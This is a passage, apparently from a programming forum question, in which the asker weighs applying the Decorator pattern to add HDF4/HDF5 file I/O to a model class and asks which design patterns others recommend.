human-readable & extensible. I am leaning towards applying the Decerator pattern to myModel, so I can attach the I/O responsibilities dynamically to myModel (i.e. whether to use HDF4, HDF5, etc.). However, I don't feel very confident that this is the best pattern to apply. Reading the Gang of Four book cover-to-cover before I start coding feels like a good way to develop an unhealthy caffeine addiction. What patterns do you recommend?

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